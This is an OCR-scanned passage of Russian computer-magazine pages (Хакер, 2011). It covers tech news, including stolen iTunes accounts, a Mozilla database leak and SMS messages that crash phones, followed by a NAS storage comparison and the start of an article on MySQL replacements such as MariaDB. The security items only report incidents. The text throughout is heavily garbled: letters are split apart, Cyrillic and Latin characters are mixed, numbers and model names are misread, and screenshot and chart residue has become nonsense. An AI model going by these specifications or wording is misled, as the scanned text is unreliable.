DIA Tegra 2 и оснащен 1 Гб оперативной памяти. Пока устройство управляется ОС Android 2.2, но к моменту начала продаж обещают версию 2.3. Кроме того. новинка

»

комплектуется очень емким аккумулятором 1 930 мАч, которого будет хватать на 9 часов в режиме разговора, и при этом весит всего 1 36 г. Конечно, не обошлось без встроенной камеры [ 5 М п со светодиодной вспышкойl, фронтальной VGA-камерbI для видеосвязи, поддержки Wi-Fi 802.11 bIg/n, Bluetooth, GPS, слота для microSD карт и такдалее. Какова будет цена этого маленького монстра, и когда стартуют продажи, пока не известно. Можно предположить, что в Росси и , ввиду отсутствия официального представител ьства Motorola, устройство появится не очень скоро, а по цене будет равняться полноценному лэптопу.

1 О лет исполнилось Wikipedia 15 января. Как быстро летит время.

3D ДЛЯ ВЗРОСЛЫХ Ц итата и з м ю з и кла « Ave n u e а», глася щ а я : « I nternet i s for рогп» [ И нтернет п редн а з н а ­ чен д л я п о р н о l , да в н о уже стала н а р и ца ­ тел ь н ы м . С а м ое забав н ое з а кл ючается в то м , что в этой фразе есть немалая доля и с ­ т и н ы - сфера услуг и товаров д л я вз росл ы х и техн ол о ги чес к и й п ро гресс действител ь н о идут б о к о б о к . О н и п ре к р а с н о допол н я ют и « п родв и га ют» друг друга. С каже м , ты н а ве р н я ка ч итал и л и сл ы шал а то м , что разного рода м а н и пул ятор ы с эффектом обратного де йств и я и нтересуют не тол ько п редста в ителей и гровой и ндустри и , но и

участн и ко в и н дустр и и развлече н и й для взросл ы х . 3а п р и ме р а м и не нужно ходить далеко : п р а ктически сразу п осле вы хода Ki nect от M i c rosoft умел ьцы ста л и п редп р и ­ н и мать п о п ытки адаптировать его дл я ХХХ­ и гр [ кстат и , успе ш н о , что оче н ь не н ра в ится с а м и м « мелко м я гк и м » I . А после п р о катив­ шегося п о пла нете бума 3 D -технологий на круп н ы х п о рноса йтах б ы стре н ь ко п о я в и ­ л и с ь раздел ы с 3 D - контенто м . Да , вообще­ то, с н и мать п о р н о в зо н а ч а л и уже да в н о , н о и нтереса к технологии д о п о следнего в ре м е н и п р а ктически не б ы л о . Теперь же,

когда ф и л ь м ы в зо пол ьзуются сп росом ка к н и когда , стра н н о было бы его не и с пользо­ вать. Стало и з вестн о , что во вто р о м к в а р ­ тале текущего года « Пентхаус» за пустит п е р в ы й в м и ре телека н а л , тра нсл и рующий 3D-порно. Та к и м образом, у н а с получается следующая ка рт и н а : с п о рт и в н ые т р а н с ­ л я ц и и в режиме стерео уже п р а кти куютс я , контент д л я взросл ых - на подходе, а з н а ­ ч ит, где-то на го р и з о нте уже м а я ч ит смутна я перспекти ва 3 D -телевиде н и я в ш и роком с м ы сле этого сл ова. И , ка к всегда , п о р н о в ы ступает дви гателем п р о гресса :1.

WINSTON FREEDOM MUSIC в декабре 201 О года в М оскве состоялся ф инал регионального тура фестиваля Winston Freedom M usic. Карди нально новый формат музыкал ьных мероприятий Super Jam Sessions, объединивший на одной сцене а ктуальные музыкальные направления и передовые циф­ ровые технологии, собрал тысячи покло н н и ков в пяти городах России. На московской сцене выступили хедлайнеры европейских клубов, в том числе легенда м ирового брит-попа - группа Kaiser C hiefs, а та кже классики электронного жан ра, обладатели Gra m my и MТV Music Awards, проект DiгtyVegas.

� 012

ХАКЕР 0 3 1 1 4 6 1 2 0 1 1


СЕНСОРНАЯ МЫШЬ ОТ МIСRОSОFТ Чуть больше года прошло с тех пор, как компания Apple выпустила минималистичную Magic Mouse. М ножество людей за это время пристрастились к сенсорным « грызунам» И хотели бы, чтобы выбор этихдевайсов был больше. Спешим порадовать: достойную новинку выпустил вечный KOHKypeHTApple - компания Microsoft. Устройство, получившее имя Touch Mouse, л ишено колеса прокрутки, зато оснаще­ но сенсорной поверхностью или « матрицей емкост­ ных электродов, чувствительных к прикосновению». Говоря проще: скроллить можно почти по всей повер­ хности мышки. Для тех, кто еще не успел поработать с сенсорными мышами, поясним - устройство спо­ собно распознавать различные жесты, в том числе и с

участием нескольких пальцев сразу. Таким способом реализованы команды перелистывания, изменения масштаба, панорамирования, навигации между окнами и так далее. Благодаря технологии BlueТrack новинка совершенно неприхотлива к поверхности, на которой используется . Высокая точность отслежи­ вания перемещений мыши на разных поверхностях достигается благодаря новому источн и ку подсветки и оптическому датчику. В комплект Touch Mouse входит миниатюрный USВ-ресивер Snap-in Nano, функ­ ционирующий на частоте 2.4 ГГц. П родажи мыши ста ртуюттол ько этим летом, но предварительный заказ в магазине Amazon.com можно оформить уже сеЙчас. Новинка обойдется тебе в $79.95.

ITUNES-АККАУНТbI ПО ДЕШЕВКЕ В прошлом году по Сети долго циркулировали слухи об угоне большого количества аккаунтов iTunes, и в итоге Аррlе были вынуждены их подтвердить. Тогда мы не знал и , каков масштаб бедствия, и представители Аррlе уверяли, что пользователей оповестили об опасности и предложили им сменить пароли. Теперьже на китайском сайте ТаоВао Iбарахолка вроде ЕЬау] в продаже всплыли 50 000 аккаунтов iTunes по

бросовым ценам. За один аккаунтхакеры хотят всего один юань, что примерно равно четыр­ надцати центам. За эти деньги вполне честно обещают временный неограниченный доступ к музыкальному каталогуАррlе, а также к играм, программам и фильмам Iпри несанкциониро­ ванном входе можетсработать система предуп­ реждения, которая заблокирует доступ через двенадцать часов]. Интересно, связаны ли эти ц_ ....,.

угоны аккаунтов с прошлогодними накрутками рейтинга некоторых приложений в iTunes? Судя по всему, злоумышленники не просто пользовалисьхалявой, но методично скачи­ вали определенные программы, и выводили их в топ 'в основном приложения для чтения электронных книг]. Когда мошенничествоза­ метили, некоторые приложения были удалены, а некоторые лишились статусов бестселлеров. В платежной системе PayPal, сообщают, что возрастающий интерес киберпреступников к iTuпеs является вполнезаконным, однакоуве­ ряют, что большинство случаев мошенничества происходит именно на стороне iTuпеs, а значит и спрашивать нужно с компании Apple.

--

-

Music

s..oЦl

ee.m.sMIII"

1ТUfМ!�OJ i)Jи:ZM"slc

-­ ""'"

"

_ . ..... '.......

MS ДАРИТ ТЕЛЕФОНЫ ХАКЕРАМ Хакер, скрывающийся под н и ко м GeoHot, известен во всем м и ре благодаря взлому i Рhопе и PlayStation 3. И стоило ему н а п и сать у себя на сайте Igeohot.com] о намере н и и приобрести и сломать устройство на базе Windows Phone 7, как с н и м тут же связал ись п редста вители M ic rosoft. Если ты думаешь, что взломщику п р и нялись угрожать судеб­ н ы м и разби рательствами и стра ш н ы м и кара м и - о ш и баешься. На связь с джей­ л б рейкером вы шел сам Б рендон Уотсон, гла ва подразделен и я Microsoft по контактам с WP7 - разработч иХ А К Е Р 0 3 (1 4Ь( 2 0 1 1

ка м и . Уотсон п исал : « GeoHot, если т ы хочешь создавать крутые штуки для WP7, оста вь мне свой e-mail, и м ы с радостью пода р и м тебе WР7-телефо н l » . Да, такова новая «пол итика п а ртии», теперь M icrosoft п редпоч итает не судиться и скандалить с хакер а м и , а п р и ­ влекать и х на с в о ю сторону. Об одном таком п рецеденте мы неда вно п исал и : тогда M S удалось п р и влечь создателей ChevronWP7 I первого джейлбрейка для WP7] к обсужде­ н и ю вопросов дальнейшего развития мо­ бильной платформы и убедить парней убрать свою утил иту из ш и рокого доступа.

� 01 3


МЩФНIМi

SMS МОЖЕТ УБИТЬ ТЕЛЕФОН Думаешь, з а головок этой н овости в ы глядел бы уместнее в какой­ н и будь «желто й» газете? П о н имаем, з вуч ит действител ьно дико­ вато, н о , тем не менее, это правда. Непр иятн ы й доклад на дан ную тему был п редста влен обществен н ости на конфере н ц и и 27С3, что неда в н о состоялась в Берли не. И сследовател и Колл и н Мул л и не р и Н и ко Голде рассказал и , что м н о гие п р и м итивные мобил ь н ые телеф о н ы не в состо я н и и адекватно обработать некоторые в иды сообщен и й - н а п р и ме р , M M S и л и текстовые месса ги, состоящие из нескольких часте й . Само п о себе это, конеч н о , не н овость, но со­ обще н ие о том , что после получе н и я такого S M S дешевые сотовые м о гутуйти в ц и кл и ческую перезагрузку - из-за о ш и б ки в ПО - уже и нтереснее. В ходе э кспери мента Муллинер и Голде подняли в своей л аборато р и и G S M - сеть, п одкл ю ч и л и к ней кучу мобил ь н и ко в и разослали на н и х более 1 20 000 S M S·OK. А п п а раты , н е имеющие собственной О С , реа гировали н а получе ние « непонятн ых» сообще н и й по-разному - от потери соты до бесконечного ребута . Та кого рода баги проя в и л и с ь у б юджетн ы х устройств от ком п а н и й Sа m s u п g , S о п у Ericsson , Motorola и L G . Те перь исследовали неп­ розрачно н а ме ка ют производителя м простен ьких трубок, что эти уяз в и м ости в п олне можно и спользо вать и дл я S M S -атак.

»

45% всех фишинговых атак приходится на платежную систему PayPal. Это излюбленная цель фишеров, согласно отчету OpenDNS .

DDR4 ОТ SAMSUNG Ком п а н и я Samsung сообщила о « захвате пальмы первенства» - южн о корейцам удалось перв ы м и создать модул и памяти DDR4, используя м и кросхем ы , из готов­ ленные по технологии 3х нм класса. Ка к уже давно известно, основная ста вка п р и разработке делалась на энергоэффекти в ность, а не на увел ичение скоростей , та к что заявление п роизводителя о том , что новые модули потребляют н а 40% меньше электроэнер г и и , чем модули D D R3, рассчита н н ые на напряжение 1 .5 В , было впол не ожидаемо. П о м и м о пон иженного нап ряжения пита н и я (модул и D D R4 способны работать п р и нап ряже н и и 1 .05 В] есть и еще оди н исто ч н и к экономии ­ тех н ол о ги я Pseudo Ореп Dra i n ( Р О D ] , вдвое уменьшающа я потребляемый ток во время чтения/записи. П р и этом скорость передачи увел ичилась до 2 . 1 33 Гбит/с п р и нап ряже н и и п ита н и я 1.2 В (для па мяти D D R3, рассчита н ной на нап ряжение п ита ния 1 .35 или 1 . 5 В , этот п оказатель дости гает 1 .6 Гбит/с]. Орга н изация J E D E C должна утвердить н о в ы й стандарт DDR4 уже во второй половине текущего года.

УТЕЧКА У MOZILLA M ozilla Fou ndation сообщает, что в Сеть, воз­ можно, « утекла» база дан ных, состоящая из 44 000 неактивных пользовательских а ккаунтов, ранее использовавшихся на addons.mozilla. QCg. Случилась эта неп риятность из-за ха­ латности самих сотрудн иков ком п а н и и - о н и случайно выложил и упомянутую базу в откры­ тый доступ, и до сих пор не понятно, успел кто­ нибудь ее оттуда стянуть или все обошлось. В Mozi lla уверяют, что утеч ка в любом случае не п редставляет н и ка кой угрозы , ведь почти вся и нформация в «слитой» БД уже уста рела,

� 01 4

а ПО и алгоритмы шифрования сменились еще в 2009 году. Тем не менее, база содержала л о ги н ы и парол и пользователей, к тому же зашифрованные еще по ста р и н ке - алгорит­ мом М D5. Сообщается, что в этой связи все дискредитированные па рол и п р и нудительно поменяли , о чем пользователей уведомили по электронной почте. Подобн ы й недосм отр ком п а н и ю M ozilla, конечно, не красит, даже несмотря на заявление, что « никакого риска для пользователей не было, ин цидент не вышел за рамки и нфраструктуры Mozi lla» . ХАКЕР 03 (1 46( 2 0 1 1


ТЕСТИРОВАНИЕ НАКОПИТЕЛЕИ NAS С)

К ажды й человек, имею щ и й компьютер и б ыстрый б езлимитны й интернет, знает о том, что сво б одного места на диске много не б ывает. Н есмотря на появление моделе й НОО емкостью в несколько тера б а й т, про блема все равно остается, тем б олее, что такие диски весьма дороги. Ре ш ением может стать NAS сетевые хранили ща данных. -

Технологии в аббревиатуре NAS нет н и чего стра шного: Network Attached Storage

- сетевая система хранения да нн ых. Это удобный корпус для уста­ новки жестких дисков, обладающий сетевым портом, процессором и различными дополн ительными интерфейсам и . Например, если утебя дома несколько компьютеров, то можно с помощью NAS создать общее дисковое пространство, к которому каждый сможет подключиться через сеть. Очень удобно. Но это самый п ростой вариант, ведь NAS позволяет орга н изовать не только банальное хранилище файлов, но и автономный загрузчикторрентов, принт- и веб-сервер, почтовый сервер, систему видеонаблюдения на базе I P-камер и много другое. Раз уж в NAS уста навли ваются по несколько жестких ДИСКОВ, то глупо было бы не орга н изовать из них дисковый масси в по технологии RAI D. И , естествен­ но, такая возможность присутствует. В зависимости отзадач, которые ты поставишь, можно будет сделать выбор - нап ример, в сторону скорости, RAI D О 'но тут нужно помнить, что порт Ethernet может стать узким местом подобной системы). Если же тебе важна не только скорость, но и надежность, то к твоим услугам массивы уровней RAI D 1 и RAID 5, которые используют резервирование данных. В зависимости от наличия дополнител ьных разъемов IUSB, eSATA и так далее), а также п рограм-

� 016

много обеспечения и з комплекта поставки, возможности конкретного NAS существенно возрастают. На некоторых моделях имеются неболь­ шие ЖК-дисплеи, отображающие разл ичную информацию о параметрах работы систем ы .

Методика тести рования

М ы собирали все NAS име н н о с тремя жестки м и диска м и по одной п ростой п р и ч и не : модель Thecus N32DD может вместить в себя име н н о столько Н D D - поэтому, чтобы все были в р а в н ы х условиях, мы уста н а вл и вали именно по три диска в каждое сете вое х р а н и л и ще . Это были 2Тб диски от ко м п а н и и Hita c h i . Чтобы п онять, насколько быстро ра ботает каждая с и стема, н а м и испол ьзовался тест I ntel NAS Performance Toolkit, котор ы й им ити рует о б ы ч н ые для NАS-операц и и , в частности, ко п и рова н ие файлов и п а п ок, работу с мультимеди й н ы м и биз нес-ко нтентом , а та кже с потоко в ы м в идео. Тесты п ров одились в двух режимах - в массивах уровней RAI D 5 и RAI D D. Мы обращали в н и м а н ие на пара метры, такие как скорость работы, удобство меню и настр о й к и , ком плекта ц и я , фун кциональ­ ность, внешний вид, ком плект поста вки и урове н ь созда ваемого п ри работе шума. ХАКЕР 0 3 / 1 46/ 20 1 1


D-Link DNS-343

NEТGEAR ReadyNAS NVX

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ: Поддерживаемые протоколы: C I FS/SMB, FТP, UPnP, http

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ:

Поддерживаемые сервисы: медиа-сервер, при нт-сервер, tоггепt-кл и ­

DLNA, Bonjour

ент, iTunes

Поддерживаемые сервисы: медиа-сервер, принт-сервер, tоггепt-кли­ ент, iTunes, ReadyNAS Remote Уровни массивов: X- RAID2, RAI D О, RAID 1 , RAID 5

Уровни массивов: RAID О, RAID 1 , RAI D 5, J B O D , Standard Оперативная память: 1 28 Мб

Процессор: ARM926EJ Порты: Ethernet ( 1 0/1 00/1 000 Мбит/сl, USB

Поддерживаемые протоколы: CIFS/SM В, FТP, U PnP, http, AFP, N FS,

Оперативная память: 1 Гб

Процессор: I ntel ЕР80579 1 ГГц Порты: 2xEthernet ( 1 0/1 00/1 000 Мбит/сl, 3xUSB

•••••00000

•••••••••0

Чтобы установить жесткие диски D-Link D N S-343, не нужно приклады­ вать много усилий, все сделано очень удобно: н и каких в и нтов и отверток, только направляющие и специальные ры чажки на задней панели для проведения обратной операции . Также удобен небольшой ЖК-экран, на котором отображается разли ч ная полезная и н формация, например I P­ адрес устройства, количество свободного места и сп исок служб, которые запущен ы в данный момент. Кроме того, D-Link D NS-343 - это самое недорогое устройство в нашем обзоре.

Внешность ReadyNAS NVX нам очень понравилась как из-за дизайна, так и из-за качества сборки и материалов. Корпус почти полностью ме­ таллически й, а встроенный блок питания делает его довольно весомым. Как и на некоторых других участниках нашего теста, на нем расположен LСD-дисплей, выводящий информацию о состоянии устройства. Монтаж жестких дисков происходит в специальные корзин ы , что очень удобно. Форматируются диски быстро, настройка п роста и понятна. Также стоит отметить высокую скорость работы ReadyNAS NVX, при том, что шум от встроенного вентилятора почти не слышен. А если выбрать режим работы X-RAI D2, то диски можно будет заменять «по-горячему».

-

Возможно, именно поэтому у него достаточное кол ичество недостатков. Это сильный шум при работе, который издают два небольших вентиля­ тора, а также всего один порт USB на корпусе. Кроме того, высокой ско­ ростью работы D-Link DNS-343 также не может похвастаться. В общем, обратная сторона невысокой стоимости очевидна.

ХАКЕР 0 3 / 1 46/ 20 1 1

-

Еди нственный обнаруженный нами у ReadyNAS NVX недостаток носит конструктивный характер - это слишком я ркий свет светоида[О2], с и г­ нализирующего О работе устройства: особенно нерви рует в темноте или если направлен непосредственно в глаза.

� 01 7


QNAP Т5-459 Pro

5ynology Dlsk 5tation D5411+

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ:

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ:

Поддерживаемые протоколы:СI FS/S М В , FТP, U PnP, http, AFP, NFS,

O LNA, Bonjour, iSCSI Поддерживаемые сервисы: медиа-сервер, принт-сервер, tоггепt-кли­

ент, iTu nes. Уровни массивов: RAIDO, RA1 0 1 , RA1 05, RAID6, RAID5+, JBOO Оперативная память: 1 Гб

Процессор: IntelAtom051 0 1 .66 ГГц Порты: 2xEthernet [ 1 0/1 00/1 000 Мбит/с] , 5xUSB, 2xeSATA, VGA

Поддерживаемыепротоколы: C I FS/S M B , FТP, U PnP, http, AFP, N FS,

OLNA, Bonjour, iSCSI

Поддерживаемые сервисы: медиа-сервер, принт-сервер,mаil-сервер, tоггепt-клиент, iTu nes. Уровни массивов: RAIOO, RA1 0 1 , RA105, RA106, RAI05+, RAI O 1 О, JBOO, Sta ndart Оператив ная память: 1 Гб Процессор: I ntel Oual-core 1 .67 ГГц Порты: Ethernet [ 1 0/1 00/1 0 0 0 Мбит/с], 2xUSB, eSATA

•••••••••0

••••••••00

Свежее устройство от компании QNAP обладает очень мощной начинкой и широкой номенклатурой портов и разъемов. Это 5 портов USB, которых с лихвой хватит для подключения различных внешних устройств, два разъема eSATA, и даже портVGА. В QNAP TS-459 Рго установлен процес­ сор I ntel Atom с двумя ядра м и , тактовой частотой 1 .66 ГГц и поддержкой технологии Нурег Threading. Его орга н и ч н о дополняет 1 Гб па мяти типа 00R2 - вместе они обеспечивают весьма впечатляющую п роизводи­ тельность. Также имеется дисплей, на котором можно посмотреть любую нужную и нформацию о работе устройства, а кроме того автономно, а не через ПК, настроить NAS. В этом тебе поможет пара кнопок, расположен­ ных рядом с экраном.

Модель Synology Oisk Station OS41 1 + отличается высокой скоростью работы и наличием множества интересных и полезных функци й. С его помощью можно орган изовать почтовый и веб-серверы, причем на пос­ леднем можно разместить аж тридцать веб-сайтов с поддержкой РНР/ MySQL. Кроме того, если у тебя есть I P-камерbI, то с помощью Synology Oisk Station OS41 1 + сможешь настроить систему в идеонаблюдения. Не­ смотря на обилие различных функций работаетустройство очень быстро. Кроме того, девайс прост в настройке, что позволит им воспользоваться даже не самому о п ытному пользователю.ъ

+

_

А вот цена данного хран илища, м я гко говоря, не низкая . Но, ка к говорится, за все нужно платить.

� 018

+

-

Портов и разъемов, в отличие от функций, в Synology Oisk Station OS41 1 + не очень много : всего лишь пара USB и один eSATA. Маловато, учитывая направлен ность решения. Кроме того, сосредоточившись на обширных возможностях устройства, производитель немного задви нул работу над дизай ном, который получился очень простым и скуч н ы м . ХАКЕР 0 3 / 1 1.6/ 20 1 1


Synology Dlsk Station DS410i

Thecus NЗ200

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ:

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ:

Поддерживаемые ПРОТОКОЛ Ы : C I F5/5 M B , FТP, U P n P , http, AFP, N F5,

OLNA, Bonjour, i5C51 Поддерживаемые сервисы: медиа-сервер, принт-сервер, mai l-сервер, tоггепt-клиент, iTunes. Уров н и массивов : RAIDO, RAI D 1 , RA105, RAID6, RAID5+, RAI D 1 0, J B O O , 5tandart Оперативная па м ять : 1 28 Мб Процессо р : А R М 800 М Гц Порты: Ethernet [ 1 0/1 00/1 000 Мбит/сJ, 2xU5B

••••••••00

Второе изделие от компании 5упоlоgу в нашем тесте. Стоит оно в два раза дешевле, чем его старший брат, но это не помешало производителю оставить в нем ту же п рогра ммную соста вля ющую, что и в 0541 1 +. А вот внешность «младшен ького» , В отличие от более дорогой модел и, ориен­ тированной на бизнес-пользователей, вполне себе симпатичная: белая передняя панел ь из гля н цевого пластика и крыш ка из серого металла производят очень положительное в печатление. П роизводительность 5ynology Oisk 5tation 054 1 Oj впечатляет, а два вентилятора работают эффекти вно и тихо.

-

Н есмотря на то, что 5упоlоgу O i s k 5tation 0541 Oj позиционируется вендором как бюджетное устройство, порт U5B на передней па нели ему бы не помешал. Да и вообще с дополнительными портам и беда - присутствуют всего два разъема U5B, и все.

ХАКЕР 0 3 / 1 46/ 2 0 1 1

Поддерживаемые П РОТОКОЛ Ы : CI F5/5M В, FТP, http, AFP, N F5, OLNA, Поддерживаемые сервисы: медиа -сервер, принт-сервер,

tоггепt-клиент, iTu nes. Уров н и массивов: RAIDO, RA1 0 1 , RAI D5,JBOO Оперативная па мять : 256 Мб Процессор: А М О Geode LX800 500 М Гц Порты: 2xEthernet [ 1 0/1 00/1 000 Мбит/сJ, 2xU5B, е5АТА

•••••••000

Устройство выбивается из ряда остальных участников теста, так как в него можно установить всего три жестких диска. Впрочем, учитывая его цену, данный нюанс ему можно смело п ростить, тем более установка происходит очень просто. К тому же, режим RAI D5 в Thecus N3200 производителем оставлен. А это означает, что несмотря на всего три Н О О, надежное хранилище да нных с его помощью вполне можно будет создать. Другой особенностью этого девайса является процессор от ком­ пании А М О . Бюджетнасть устройства не повлияла на его функционал: можно орга н изовать медиа-сервер, клиент загрузок или при нт-сервер, а дополн ител ьные модул и позволят существенно расширить этот список. В общем, недорогой - это не значит плохой или слабый .

_

Н о , конечно, недостатки у Thecus N3200 тоже есть. Это очень простой интерфейс, шумная работа системы охлаждения, а также не самая высокая скорость работы. И менно этими неудобства ми ты должен будеш ь расплатиться за невысокую цену устройства.

� 019


РЕЗУЛЬТАТЫ ТЕСТОВ

INTEL NAS PERFORMANCE TOOLKIT, RAID О •

Photo Album

• • • •

File сору from NAS

O-Link ОNS-З4З NEТGEAR ReadyNAS NVX ONAP TS-459 Pro

Synology Disk Station OS41 1 + Synology Disk Station OS41 Oj Thecus NЗ200

File copyto NAS

HD Video Playback 0.0

20.0

40.0

60.0

80.0

100.0

120.0

140.0

Лидеры забега - хранилища QNAP 15-459 Рго и 5yno[ogy Disk 5tation О541 1 +

INTEL NAS PERFORMANCE TOOLKIT, RAID 5

Photo Album

• • • •

File сору from NAS

O-Link ОNS-З4З NEТGEAR ReadyNAS NVX ONAP TS-459 Pro Synology Oisk Station OS4 1 1 + Synology Oisk Station OS41 Oj Thecus NЗ200

File соруto NAS

HD Video Playback 0.0

20.0

40.0

60.0

80.0

100.0

120.0

140.0

Особой разницы с МID5 не заметно

ВЫВОДЫ Думаем. что наш тест позволиттебе выбрать хороший NA5. подходящий под твои задачи. Награду « Выбор редакции» получил QNAPT5-459 Рго ­ очень быстрая система. обладающая при этом хорошим функционалом.

� 020

Титул « Лучшая покупка» достался модели Thecus NЗ200 за отличное соотношение цены и качества. Л ю б и тел и с к о р о ст и м о гут о б ратить с в о е в н и м а н и е на е щ е о д и н п ро и з в одител ь н ы й н а ко п ите л ь . 5 y n o l o g y O i s k 5 t a t i o n 0 54 1 1 + .I ХАКЕР 03 /1 46/ 2 0 1 1


Жизнь поcnе

MySOL В ы б ира ем з�ен� для п о пуляр н ои �yьД

С)

Ч то б удет теперь , когда ненавистная и даже глу б око противная истинным сторонникам открытого софта компания Oracle купила многострадальную Sun , а заодно и на ш с то б о й лю б имы й MySQL? К оне ц легендарного продукта? Может б ыть. Н о уже се й час есть куда б олее функ ц иональные и полностью совместимые разра б отки l

MySOL, он же п росто «мускул » . Бьюсь об з а клад, что это еди н ­ стве нная СУБД, которая по умол ч а н и ю доступна на твоем хост и н ге. Л юб и м ы е движки для форума и блога работают на н е й . Это фак­ тически ста ндарт де-факто для л ю бого веб-п родукта . Да и в своих проектах ты, вероятнее всего, испол ьзуеш ь именно ее. В С ети м и л л и о н ы са йтов осуществляют запросы и сохраняют да н н ы е в БД с помощью MySOL. И все было п росто и п онятно до тех пор, п о ка ком п а н и ю Sun вм есте с ее любимым мускулом н еожида н н о не куп ила корпорация O racle. Уч иты вая, что основным продуктом последн е й я вл я ется мощнейшая СУБД с одн о и м е н н ы м н а з в а н и е м , сообщество сильно тревожилось о дал ь н е й ш ей судьбе M y S O L . И н е н а п расно. Ком п а н и я Oracle, кон е ч н о же, в ы ступ ила с заявлени­ е м , что все в порядке : проект по-п режнему будет разви ваться. Н о м н о г и м верится в это с трудом. Ведь даже быстрый вы пуск в е р с и и

� 022

5 . 5, которую многие та к жда л и , н е дал положител ьных резул ьтатов : старые баги к а к был и , та к и остались. Разве ж это дел о ? Н о парал­ л ельно с о р и ги н а л ь н ы м MySOL уже давно развиваются альтерна­ ти в н ы е п ро е кт ы , которые совмест и м ы с о р и гинальной СУБД, н о во м н о гом даже п р евосходят е е . И об этом мы сейчас и п огов о р и м .

Важная вещь - совместимость

Итак, мы взял ись за непростую задачу - найти замену для MySOL. Н о если менять, то на что? Тол ько не беги с криками «Да отстой ваш мускул - бери слона, то есть PostgreSOL» . Не выйдетl Сейчас столь­ ко кода нап исано с поддержкой MySOL, что переп исать или и с кать замену - себе дороже. Причем в п рямом см ысле - часто уложиться в рамки разум ных ф и на нсовых затрат п росто невозможно. Хорошо, если речь идет о п ростецком форуме или блоге lобычно в н и х реаХАКЕР 0 3 / 1 46/ 2 0 1 1


AMaria DB Front

(JDBA

- --

Росе

Downlo.ad

MariaDB

Download

Document.tion - Knowled,ebase

Welcome to MariaDB! l �,;aDВ s i .a d"tabaslI JeIVC!r thilt offers drop-in replilcement functlonlllity far MySQl .

м.n:.ов is

built Ьу some о, the oritinal authors о' M)'SQL, with 4S:USt&nCe- 'rom the broader community о' Free Service Provideri

About

MariaOB

rл,гi,ОВ B,daes

and ореn source software d�lopers. In ,ddition to the соге function,lity о' MySQL,

Мari,OO offer$

а rich set о' fell.ture enhanceme-nts Includin, ,tternate $tor" o en�nes. server optimiutions, i1nd

patche$.

м.,nа08 15

primaril)' driYen Ьу d�lopers ,t Monty Prolr,m, , company founded Ь)' Мich,el

"Monty " Widenius, the oritlnal author о' MySQL, but thls is not the whole story about МмiaDВ. Оп the �About

M"ri,OB"

plI.le уои will find тоге informi1tion ilbout ад participants in the МмiIlOВ

community, includinJ storlJo e-nrines XtrilDВ and РВХТ.

Сервер MariaDB Сайт MariaDB л изована поддержка сразу нескольких систе м ] . Но что есл и это что-то самописное или заточенное под воз­ можности именно MySOL? Тут все ох как н е просто. Та к что наша задача - сохра н ить мускулы [то есть полную совместимость с MySOL], но прокачать их так, чтобы не зависеть от ста р ше го тренера и его стероидов. Разработч и к и и идеол оги самого MySOL дале ко не дураки и са м и п редвидел и ситуа ц и ю , что после погл ощения сложно будет всем. Н е кото рые из н и х р е ш и л и даже поки нуть ко м п а н и ю и основать с в о и про­ екты , п р ихвати в тогда еще свободные коды мускул а . Благодаря этому с е й ч а с есть несколько и нтересных п родуктов, основа н н ы х на коде ориги нального сервера, но с бол ь ш и м и доработка ми и измен е н и я м и во всем, куда только удалось дотянуться разработч и ка м . П е р в ы м делом энтузиасты освободились о т б р е м е н и движка I n n o D B , правами на кото р ы й уже давно обладает все тот же самый Oracle. На замену ему вы катили нескол ь­ ко движков, которые стали доступ н ы м и в M a ri a D B .

MariaDB И стор и я этого сервера уходит в далекий 2008 год, когда оди н и з гла в н ых разработч и ко в MySOL, осознавая, что сильно связан поставл е н н ы м и работодателем р а м ка м и , уволился и основал свою ком п а н и ю , кото рая занялась исправл е н и е м родовых травм MySOL. Я говорю о дефолтном движке MylSA M , котор ы й необходимо было менять, и критических ба га х , на исправление кото рых уходило н е п риемлемое кол и чество времени. Что полу-

Самые круп.te в мире специалисты по MySQL., имеющие свой собственный сервер

· ' .. · .,'цl"МOI ·.·:tOI-OI»8О<МOI

WhyP.rtOМl'

Percona'. Whole Stack Coverage loI)'5OI. eqleflu ll<ll ......... ""IМ_. ........ . .,. ""'___ n ... InI'IOCeS/l:l! . .... """� .1IIt __ OI __ lof\'SO\. uм. _ "*'I' Itc......,.. .... pIof'IoI"'J'OUClnWwrsot. 1I'tIIet' _IoI\'IO.. �oeII. Рм:OIII .... _-.- .. _ OI ...... "'... ...-_ _.... .-. IUIWIg ..�_,.,. ... )'OIII' r.ty1QI.�_,.IOWIOIIi: .- ""'."_,,� 'fWI_llgoIIIi nCМ ,w! J'OUI Iofr'OLPllC t т_"",,_,, __ wooщ _. Pe,,:<INcon....... IIoIoII II ....oIleClI/IOICIOIIaI .. _.IO:'<1>1\a1_

· 1IIySQI. _·�.u.A..II. u ..tl

• AoI)'SQI. _ · C """ .... ·f1!tw !!!l"f ...... · � ·"""...... _oIU)'$01.$O_pcfIotmonc. """ho.

C...

St\lcll..

....�OIN"'I'!ЮLОМ-'_ . • WoII.aII . *_,CIIOj>IoIICIIt ""'I>4I1fIIIК.... D<

. �.v�8 .. 1.I

. 0!ШIIt . � 1On "' 1oIySOI. 0eIIQМ<I 1O" _<"'"IIUIf1g

StorageEnglnes

O IUllll - ",С"".,_ .. __ """"" _ ,,,, _ . __ ._--" ....... ,,--'"' ''''II '' II<In-I.- ..-.. • EIIIItI!ISI . �""I>OiIS ..ro. • .....,, _ · UktIl ·III "*""'Y _ (roo ""- ...- ...... �)

ХАКЕР 03 / 1 46/ 2 0 1 1

ч илось У создателей M a ria D B ? Замечател ь н ы й п родукт, который на уровне п ротокол а , формата файлов и языка S O L идентичен с о р и ги нальной версией MySOL. Это п р едоста вляет возможность безболез н е н ного пере­ хода : без потери да н н ых или из менения логики работы и м еющегося кода. « Н о ка кие бонусы я получу от пе рехода?» , - спроси ш ь ты. Взамен мы получаем бол ьшую скорость работы и SkySQL skysql.com ; новые ф и ч и , которых, возможно, вообще н и когда н е M a ria D B : будет в мускуле. Н а п р и м е р , и нтегрирова н н ы й в сам ma riadb.org ; сервер пои сковый движок S p h inx, который н е п ридется Регсо п а : став ить отдел ьно, р а с ш и р е н н ы е возможности по бэкапу регсопа.сот ; и управл е н и ю да н н ы м и и та к далее. Drizzle: drizzle.org ; Н адо сказать, что многие очень крупные ком п а н и и [в MySQ L: mysql.com ; том числе та кие з в е р и , как Goog le и Facebook] давно H a n d lerSocket : испол ьзуют M a ria D B . П о сети гул я ет специал ьный 